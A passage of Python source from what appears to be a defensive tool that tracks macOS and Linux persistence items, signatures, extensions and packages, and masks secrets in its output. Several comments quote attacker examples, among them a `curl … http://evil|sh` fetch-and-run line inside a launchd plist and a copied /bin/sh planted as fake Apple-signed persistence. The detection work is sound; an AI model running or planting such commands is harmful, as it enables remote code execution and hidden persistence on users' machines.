# `_auth /J.9V3dlL6/_u_46b273Sa8U/E+=h…` matched "looks like a path" and
# printed the token — the P1 leak, returning through the H2 exemption.
or (_REAL_PATH_RE.match(bare) and _char_classes(bare) <= 2
and not any(c in bare for c in "+="))
or len(bare) < 6 or _char_classes(bare) < 2):
return m.group(0)
return masked
return m.group(0) # 4
# KNOWN RESIDUAL: `;`, `&` and `|` end a value token, so a password CONTAINING one is masked
# only up to that character (`password = Tr0ub&dor3-Xyz` -> `«redacted»&dor3-Xyz`). The token
# boundary is what lets `SSH_ASKPASS=/tmp/a.sh;MYSQL_PWD=<secret>` be judged as two separate
# assignments, and `A&B` (one value) is structurally identical to `A;cmd` (two statements), so
# a post-pass that swallows the remainder eats real shell separators — measured: it broke
# compositionality on 25 property cases. Masking to whitespace instead reopens the chained
# leak, and per-separator rescanning is the recursion that became a kill switch. Left as-is
# deliberately; the exposure is a PARTIAL secret, and the `«redacted»` marker is present.
return _ASSIGN_RE.sub(_assignment, line) if _KV_KW_RE.search(line) else line
# ---------------------------------------------------------------------------
# trust / signing (macOS) — used to enrich findings at diff time, not per snapshot
# ---------------------------------------------------------------------------
def trust_of(path: str):
"""Return (label, suspicious) for a binary/app path. Best-effort, macOS."""
# isinstance: `path` comes from an attacker-writable plist via program_of_plist, so a
# list/dict here made os.path.exists raise TypeError (which is NOT an OSError) and
# killed the whole run — diff-time code gets no failure isolation.
if PLATFORM != "macos" or not isinstance(path, str) or not path:
return (None, False)
# a non-regular target (FIFO/device planted as `Evil.app`) makes `codesign` block for
# its full 10s timeout; N planted files cost N x 10s of the daily job for nothing.
if not (is_regular(path) or os.path.isdir(path)):
return (None, False)
if not os.path.exists(path):
return (None, False)
info = run(["codesign", "-dv", "--verbose=2", path], merge=True, timeout=10)
low = info.lower()
if "not signed" in low or "code object is not signed" in low:
return ("unsigned", True)
authorities = [l.split("=", 1)[1].strip() for l in info.splitlines() if l.startswith("Authority=")]
if not authorities and ("adhoc" in low or "linker-signed" in low):
return ("ad-hoc signed", True)
if any("Apple" in a for a in authorities):
# An Apple-signed Mach-O living outside the system paths is a COPY. `cp /bin/sh
# ~/Library/.../SoftwareUpdateHelper` keeps the signature intact, so a basename check for
# interpreters missed it and the report printed a reassuring "Apple-signed" next to
# attacker-planted persistence. Apple does not ship binaries into user directories.
if not path.startswith(("/System/", "/usr/", "/bin/", "/sbin/", "/Library/Apple/",
"/Applications/Utilities/", "/Applications/")):
return ("Apple-signed binary COPIED outside the system paths", True)
return ("Apple-signed", False)
if any("Developer ID" in a for a in authorities):
acc = run(["spctl", "-a", "-vv", path], merge=True, timeout=10).lower()
return ("Developer ID" + (", notarized" if "notarized" in acc else ""), False)
if authorities:
return (f"signed ({authorities[0][:24]})", False)
return ("unknown", False)
def plist_program_and_argv(plist_path: str):
"""(program, full argv string) from a launchd plist. The argv matters as much as the
program: `ProgramArguments = ["/bin/sh","-c","curl -s http://evil|sh"]` resolves to
/bin/sh, which is genuinely Apple-signed — so the report printed "signature: Apple-signed"
next to a malicious startup item, which is worse than saying nothing. The caller scans the
argv for malicious patterns so the interpreter's own signature can't launder the payload."""
real = plist_path.replace("~", str(HOME), 1) if plist_path.startswith("~") else plist_path
# Size-gate BEFORE spawning plutil: its output is read into memory, so a planted 500MB
# plist cost 2.27GB RSS at diff time (the collector read path is capped for this reason;
# this one was not). The 8s timeout does not bind — the work is linear, not slow.
try:
if not is_regular(real) or os.path.getsize(real) > MAX_READ:
return (None, "")
except OSError:
return (None, "")
out = run(["plutil", "-convert", "json", "-o", "-", real], timeout=8)
try:
d = json.loads(out)
except Exception:
return (None, "")
# A *valid* plist can have a non-dict root (`<array>`), so plutil emits `["x"]` and the
# old `d.get(...)` raised AttributeError. That crash was fatal AND self-perpetuating:
# the snapshot is saved only after build_findings, so the plist stayed "added" and the
# daily digest died identically every day. Validate the shape of every value used.
if not isinstance(d, dict):
return (None, "")
prog = d.get("Program") if isinstance(d.get("Program"), str) else None
args = d.get("ProgramArguments")
argv = [a for a in args if isinstance(a, str)] if isinstance(args, list) else []
if prog is None and argv:
prog = argv[0]
return (prog, " ".join(argv)[:MAX_ARGV])
def program_of_plist(plist_path: str):
"""Just the executable a launchd plist runs, so we can trust-check it."""
return plist_program_and_argv(plist_path)[0]
# ---------------------------------------------------------------------------
# attribution — "why did this appear?" from recent shell history
# ---------------------------------------------------------------------------
_HISTORY: list[str] | None = None
def load_history() -> list[str]:
global _HISTORY
if _HISTORY is not None:
return _HISTORY
cmds: list[str] = []
for name in (".zsh_history", ".bash_history", ".local/share/fish/fish_history"):
p = HOME / name
try:
if not p.is_file():
continue
text = safe_read_text(p, tail=True) # bounded: a huge history must not OOM us
if text is None:
continue
lines = text.splitlines()[-6000:]
for ln in lines:
# zsh extended history: ": 1690000000:0;the command"
m = re.match(r"^: \d+:\d+;(.*)$", ln)
cmds.append(m.group(1) if m else ln.strip())
except Exception:
pass
_HISTORY = cmds
return cmds
def attribution_for(term: str) -> str | None:
"""Most recent shell command mentioning `term` (an installed pkg/app name)."""
if not term:
return None
word = re.compile(r"(?<![\w-])" + re.escape(term.lower()) + r"(?![\w-])") # whole-word, not substring
for cmd in reversed(load_history()):
cl = cmd.lower()
if word.search(cl) and any(v in cl for v in ("install", "add ", "brew", "npm", "pip", "-g", "cask", "get ")):
return cmd.strip()[:80]
return None
# ---------------------------------------------------------------------------
# collectors — common category names, per-platform backends feed a common schema.
# each returns {stable_key: fingerprint/display}. Linux backends are deferred stubs.
# ---------------------------------------------------------------------------
def _mac_login_items():
need("osascript")
# name AND path. Keyed by display name alone, three attacks were completely invisible:
# planting an app named after an existing login item, retargeting an existing item at another
# binary, and — because no path was collected — NO signature check was possible, so login
# items could never escalate to RED while the equivalent LaunchAgent did. The `undo:` hint
# also deleted by name, i.e. the wrong entry under a collision.
# Join names with a newline (not the default comma) so a name containing a comma
# (e.g. "Adobe, Inc. Helper") isn't split into phantom items.
out = run_checked(["osascript",
"-e", "set out to {}",
"-e", 'tell application "System Events"',
"-e", "repeat with li in login items",
"-e", "set end of out to (name of li) & tab & (path of li)",
"-e", "end repeat",
"-e", "end tell",
"-e", "set text item delimiters to linefeed",
"-e", "return out as text"], timeout=20)
res = {}
for line in out.split("\n"):
if not line.strip():
continue
name, _tab, path = line.partition("\t")
# key on the PATH (stable identity, and the trust-check target); fall back to the name on
# an older macOS that will not report a path.
res[(path.strip() or name.strip())] = name.strip() or path.strip()
return res
def _mac_launch_items():
dirs = [HOME / "Library/LaunchAgents", Path("/Library/LaunchAgents"),
Path("/Library/LaunchDaemons")]
out = {}
for d in dirs:
try:
for p in sorted(d.glob("*.plist")):
# Fingerprint by CONTENT hash, not mtime: catches a swapped plist that
# preserved mtime (cp -p) and ignores a bare `touch` (mtime-only change).
# A non-regular entry is REPORTED, not skipped: reading it would hang
# (see is_regular), but a FIFO/device in LaunchAgents is itself anomalous
# and must stay visible in the highest-signal persistence category.
if not is_regular(p):
out[tilde(str(p))] = "not a regular file (not read)"
continue
data = safe_read_bytes(p)
try:
fp = (f"{p.stat().st_size}:{sha(data.decode('latin-1'))}" if data is not None
else f"{p.stat().st_size}:?")
except Exception:
fp = "?:?"
out[tilde(str(p))] = fp
except Exception:
pass
return out
def _mac_kexts():
need("kextstat")
out = run_checked(["kextstat", "-l"], timeout=10)
res = {}
for line in out.splitlines():
# Record ANY reverse-DNS-ish id, Apple's included: `startswith("com.apple")` is a string
# test, not provenance, so naming a rootkit `com.apple.driver.AudioHelper` removed it from
# the report entirely — and real third-party prefixes (`co.`, `dev.`, `me.`) were never
# collected at all.
m = re.search(r"\b([a-z][\w-]*(?:\.[\w-]+){1,})\s*\(([^)]*)\)", line, re.I)
if m:
res[m.group(1)] = m.group(2)
return res
def _ext_version_key(manifest_path: str):
"""Sort extension version dirs NUMERICALLY: lexical order put `1.10.0_0` before `1.9.0_0`, so
the collector read the OLD manifest and reported a stale name."""
v = os.path.basename(os.path.dirname(manifest_path))
return [int(x) if x.isdigit() else x for x in re.split(r"[._]", v)]
def _mac_browser_extensions():
res = {}
# Chromium-family: <profile>/Extensions/<id>/<version>/manifest.json
chromium = [
HOME / "Library/Application Support/Google/Chrome",
HOME / "Library/Application Support/BraveSoftware/Brave-Browser",
HOME / "Library/Application Support/Microsoft Edge",
HOME / "Library/Application Support/Arc/User Data",
]
for base in chromium:
for ext_dir in glob.glob(str(base / "*/Extensions/*")):
ext_id = os.path.basename(ext_dir)
if ext_id == "Temp":
continue
name = ext_id
mans = [m for m in sorted(glob.glob(os.path.join(ext_dir, "*/manifest.json")),
key=_ext_version_key)
if is_regular(m)] # a FIFO manifest would hang the read forever
fp = ""
if mans:
raw = safe_read_text(mans[-1]) or ""
# Fingerprint the manifest CONTENT + version, not the display name alone: with the
# name only, overwriting background.js, adding <all_urls>/cookies/webRequest
# permissions, or swapping the .xpi were ALL invisible. Extension directories are
# user-writable and need no admin.
fp = f"{os.path.basename(os.path.dirname(mans[-1]))} [{sha(raw)}]"
try:
n = json.loads(raw).get("name", "")
if n and not n.startswith("__MSG_"):
name = n
except Exception:
pass
browser = base.name
res[f"{browser}:{ext_id}"] = f"{name} {fp}".strip()
# Firefox
for ext in glob.glob(str(HOME / "Library/Application Support/Firefox/Profiles/*/extensions/*")):
res[f"Firefox:{os.path.basename(ext)}"] = os.path.basename(ext)
return res
def _mac_system_extensions():
need("systemextensionsctl")
out = run_checked(["systemextensionsctl", "list"])
res = {}
for line in out.splitlines():
m = re.search(r"(\b[a-z0-9]+(?:\.[a-z0-9-]+){2,}\b).*\[([^\]]+)\]", line, re.I)
if m:
res[m.group(1)] = m.group(2).strip()
return res
_PORT_F_RE = re.compile(r":(\d+)$")
def _listening():
need("lsof")
# lsof field mode (-F): robust against full command names that contain spaces
# AND against the default 9-char COMMAND truncation that merged distinct processes
# (e.g. python3.11 vs python3.12 both became "python3.1").
out = run_checked(["lsof", "-nP", "-iTCP", "-sTCP:LISTEN", "-Fcn"])
by_cmd: dict[str, set] = {}
cur = None
for line in out.splitlines():
if not line:
continue
tag, val = line[0], line[1:]
if tag == "c":
cur = val
by_cmd.setdefault(cur, set())
elif tag == "n" and cur is not None:
m = _PORT_F_RE.search(val)
if m:
# `val` is e.g. `127.0.0.1:64991`, `*:8080`, `[::1]:5000` — keep it whole.
by_cmd[cur].add(val.strip())
return {c: ",".join(sorted(p, key=lambda x: (len(binding_port(x)), x)))
for c, p in by_cmd.items() if p}
def _outbound():
"""Processes with an established outbound TCP connection (churny — quiet tier)."""
need("lsof")
out = run_checked(["lsof", "-nP", "-iTCP", "-sTCP:ESTABLISHED", "-Fc"])
cmds = {line[1:] for line in out.splitlines() if line.startswith("c")}
return {c: "connected" for c in sorted(cmds)}
def _mac_net_config():
need("scutil")
res = {}
for line in run_checked(["scutil", "--dns"]).splitlines():
m = re.search(r"nameserver\[\d+\]\s*:\s*(\S+)", line)
if m:
res[f"DNS {m.group(1)}"] = "nameserver"
proxy = run_checked(["scutil", "--proxy"])
for key, label in (("HTTPEnable", "HTTP proxy"), ("HTTPSEnable", "HTTPS proxy"),
("SOCKSEnable", "SOCKS proxy"), ("ProxyAutoConfigEnable", "auto-proxy (PAC)")):
m = re.search(rf"{key}\s*:\s*(\d)", proxy)
if m and m.group(1) == "1":
res[label] = "enabled"
return res
def _mac_brew():
need("brew")
res = {}
for line in run_checked(["brew", "list", "--versions"], timeout=40).splitlines():
parts = line.split()
if parts:
res[parts[0]] = parts[-1] if len(parts) > 1 else ""
# casks (GUI apps installed via brew) — invisible to `brew list --versions`
for line in run_checked(["brew", "list", "--cask", "--versions"], timeout=40).splitlines():
parts = line.split()
if parts:
res[f"{parts[0]} (cask)"] = parts[-1] if len(parts) > 1 else ""
return res
def _npm_global():
need("npm")
out = run_checked(["npm", "ls", "-g", "--depth=0", "--json"], timeout=25)
if not out.strip():
return {}
try:
deps = json.loads(out).get("dependencies", {}) or {}
return {n: (v or {}).get("version", "") for n, v in deps.items()}
except Exception:
return {}
def _pip():
# NOTE: which pip3 is first on PATH decides WHICH interpreter's packages we see
# (system vs Homebrew python), so a daily job and a shell run can legitimately
# disagree. need() at least turns "pip3 absent" into a guarded skip rather than
# "every package removed"; install.sh pins the job's PATH so both agree.
need("pip3")
out = run_checked(["pip3", "list", "--format=freeze"], timeout=25)
res = {}
for line in out.splitlines():
if "==" in line:
name, _, ver = line.partition("==")
res[name] = ver
return res
def _mac_applications():
res = {}
for base in ("/Applications", str(HOME / "Applications")):
try:
for entry in sorted(os.listdir(base)):
if entry.endswith(".app"):
# disambiguate ~/Applications from /Applications so a same-named
# app in both doesn't silently overwrite the other
name = entry[:-4] if base == "/Applications" else f"{entry[:-4]}{USER_APPS_TAG}"
# the REAL path, not just the directory: _enrich rebuilt it as
# f"{value}/{bare_key(key)}.app", so a bundle named `Calculator (cask).app`
# made the trust check stat /Applications/Calculator.app and print ANOTHER
# app's signature, while `Evil (snap).app` pointed at a nonexistent path so an
# unsigned bundle never escalated to RED. /Applications is admin-writable.
res[name] = os.path.join(base, entry)
except Exception:
pass
return res
def _mac_mas():
need("mas")
out = run_checked(["mas", "list"], timeout=15)
res = {}
for line in out.splitlines():
m = re.match(r"(\d+)\s+(.*?)\s+\(([^)]+)\)\s*$", line)
if m:
res[m.group(2).strip()] = m.group(3)
return res
# ---------------------------------------------------------------------------
# Linux backends — feed the SAME common schema as the macOS ones. Verified on a
# real Linux box; collectors return {} where a concept has no Linux equivalent.
# ---------------------------------------------------------------------------
class ToolUnavailable(Exception):
"""A collector's external tool isn't on PATH. Raised (not swallowed) so the per-collector
failure isolation records it in snap["errors"], which is what lets the diff SKIP the
category instead of reporting every item in it as removed."""
def need(*tools):
"""Assert the tools a collector depends on are actually resolvable.
`run()` returns "" for a missing binary exactly as it does for "no output", so a
collector silently returned {} — and the daily job's PATH is NOT your shell's: launchd
hands agents a default PATH with no /opt/homebrew/bin and no ~/.local/bin, so `brew`
and `npm` vanished, 192 packages read as REMOVED, and the flood pushed a genuine new
install past the render cap. Fail loudly instead; the diff then guards the category."""
missing = [t for t in tools if not shutil.which(t)]
if missing:
raise ToolUnavailable("not on PATH: " + ", ".join(missing))
def run_checked(cmd, timeout=15):
"""run() but a FAILURE IS AN ERROR, not an empty result. `run()` returns "" for a timeout,
a crash and "no output" alike, so a `brew list` that timed out (40s, plausible under load)
produced an empty collector with NO error recorded — the capability guard keys off
snap["errors"], so it could not fire and the 192-phantom-removal flood came back, exactly
the incident this release claims to have fixed. Non-zero WITH output is tolerated: `npm ls -g`
exits non-zero on peer-dependency complaints while still printing valid JSON."""
try:
p = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout, errors="replace")
except subprocess.TimeoutExpired:
raise ToolUnavailable(f"{cmd[0]} timed out after {timeout}s")
except OSError as e:
raise ToolUnavailable(f"{cmd[0]} could not run ({e.__class__.__name__})")
if p.returncode != 0 and not p.stdout.strip():
raise ToolUnavailable(f"{cmd[0]} failed (exit {p.returncode})")
return p.stdout
def _has(cmd: str) -> bool:
return bool(run(["sh", "-c", f"command -v {shlex.quote(cmd)}"]).strip())
def _none():
return {}
SYS_AUTOSTART_DIR = Path("/etc/xdg/autostart") # module-level so tests can point it at a tmp dir
def _linux_autostart():
"""XDG autostart .desktop entries — the Linux 'login items' equivalent."""
res = {}
for base in (HOME / ".config/autostart", SYS_AUTOSTART_DIR):
# The two dirs hold same-named files (`x.desktop` exists in both), so a bare
# basename key let the SYSTEM entry silently overwrite the USER one — hiding a
# planted ~/.config/autostart entry behind a benign system copy. Tag the system
# side; the user side keeps the plain basename (and `undo_hint` keys off the tag
# to point `rm` at the right directory, with sudo).
tag = SYS_AUTOSTART_TAG if base == SYS_AUTOSTART_DIR else ""
for f in sorted(glob.glob(str(base / "*.desktop"))):
key = os.path.basename(f) + tag
name = os.path.basename(f)
content = ""
if not is_regular(f):
# reported, not skipped — reading a FIFO here hangs the daily job
res[key] = f"{name} [not a regular file (not read)]"
continue
try:
content = safe_read_text(f) or ""
for line in content.splitlines():
if line.startswith("Name="):
name = line.split("=", 1)[1].strip() or name
break
except Exception:
pass
# Fingerprint by CONTENT hash, not Name= alone (parity with the macOS